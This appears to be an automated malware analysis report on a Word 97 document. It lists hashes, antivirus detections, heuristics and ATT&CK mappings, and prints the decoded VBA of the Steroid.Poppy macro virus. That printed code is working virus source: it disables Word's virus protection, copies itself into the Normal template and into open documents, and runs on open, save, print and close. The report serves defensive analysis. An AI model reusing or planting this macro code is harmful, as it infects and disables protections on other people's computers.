Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4fc806306088e04b…

MALICIOUS

Office (OLE)

39.5 KB Created: 1998-02-22 13:57:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d983a6acb31061645ca338c698bfaf42 SHA-1: 5ec120855e0ef8c488233abf9bfec7ffc7ac447d SHA-256: 4fc806306088e04b71146461c0ffd02e751d4474386a25d7462ad2e2ffd70f73
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon opening or closing a document. The script attempts to export itself to 'c:\startup.log' and manipulates Word's security settings to disable virus protection and prevent user interaction. The embedded URL http://www.xxpass.com/ is likely used to host further malicious content or redirect the user to a phishing site.

Heuristics 6

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.xxpass.com/ In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5642 bytes
SHA-256: 69b9224a1e72cdda8f962e9fe76a5d4366441545dc6b0c77b8e464c6f494fca9
Detection
ClamAV: Doc.Trojan.Steroid-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Injekt"
Declare Function SetVolumeLabel Lib "kernel32" Alias "SetVolumeLabelA" (ByVal lpRootPathName As String, ByVal lpVolumeName As String) As Long
Sub Steroid()
    
    ' Steroid.Poppy.II by VicodinES
    ' "Whats Up" to : Slage Hammer, Spanska and the entire _Kim_Liberation_Army_

If Application.ShowVisualBasicEditor Then Call out
Application.EnableCancelKey = wdCancelDisabled
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete
CommandBars("tools").Controls("Options...").Enabled = False
If Application.ShowVisualBasicEditor Then Call out
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
If Application.ShowVisualBasicEditor Then Call out
ActiveDocument.ReadOnlyRecommended = False
If Application.ShowVisualBasicEditor Then Call out
Application.ScreenUpdating = False
If Application.ShowVisualBasicEditor Then Call out
Application.VBE.ActiveVBProject.VBComponents("Injekt").Export "c:\startup.log"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "Injekt" Then NormInstall = True
Next I
If Application.ShowVisualBasicEditor Then Call out
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "Injekt" Then ActivInstall = True
Next I
If Application.ShowVisualBasicEditor Then Call out
If ActivInstall = False Then
With ActiveDocument.VBProject
With .VBComponents.Import("c:\startup.log")
End With
End With
End If
If Application.ShowVisualBasicEditor Then Call out
If NormInstall = False Then
With NormalTemplate.VBProject
With .VBComponents.Import("c:\startup.log")
End With
End With
volset = SetVolumeLabel("c:\", "Testicle")
End If
If Application.ShowVisualBasicEditor Then Call out
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If NormInstall = False Then
If NormalTemplate.Saved = False Then NormalTemplate.Save
End If
If Application.ShowVisualBasicEditor Then Call out
'VMPCK v2.0 Beta
Application.ScreenUpdating = True
If Application.ShowVisualBasicEditor Then Call out
fuckoff:
End Sub
Sub HelpAbout()
On Error Resume Next
MsgBox "Can I have a bottle of warm Diet Mountain Dew?", vbInformation, "VMPCK v2.0 Beta / SR-1 Compatable"
MsgBox "Shout Out! ...Slage Hammer, Spanska and the entire _Kim_Liberation_Army_", vbInformation, "W97M/Steroid.Poppy"
End Sub
Sub FileSave()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Steroid
Application.ScreenUpdating = False
ActiveDocument.Save
Application.ScreenUpdating = True
End Sub
Sub FileSaveAs()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Application.ScreenUpdating = False
dialogs(wdDialogFileSaveAs).show
Application.ScreenUpdating = True
Call Steroid
End Sub
Sub FilePrint()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
dialogs(wdDialogFilePrint).show
Call Steroid
End Sub
Sub FileClose()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Steroid
Application.ScreenUpdating = False
If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
End Sub
Sub FileExit()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Caffeine
Application.Quit
End Sub
Sub AutoOpen()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Steroid
End Sub
Sub AutoExit()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Caffeine
End Sub
Sub AutoClose()
On Error Resume Next
If Application.ShowVisual
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.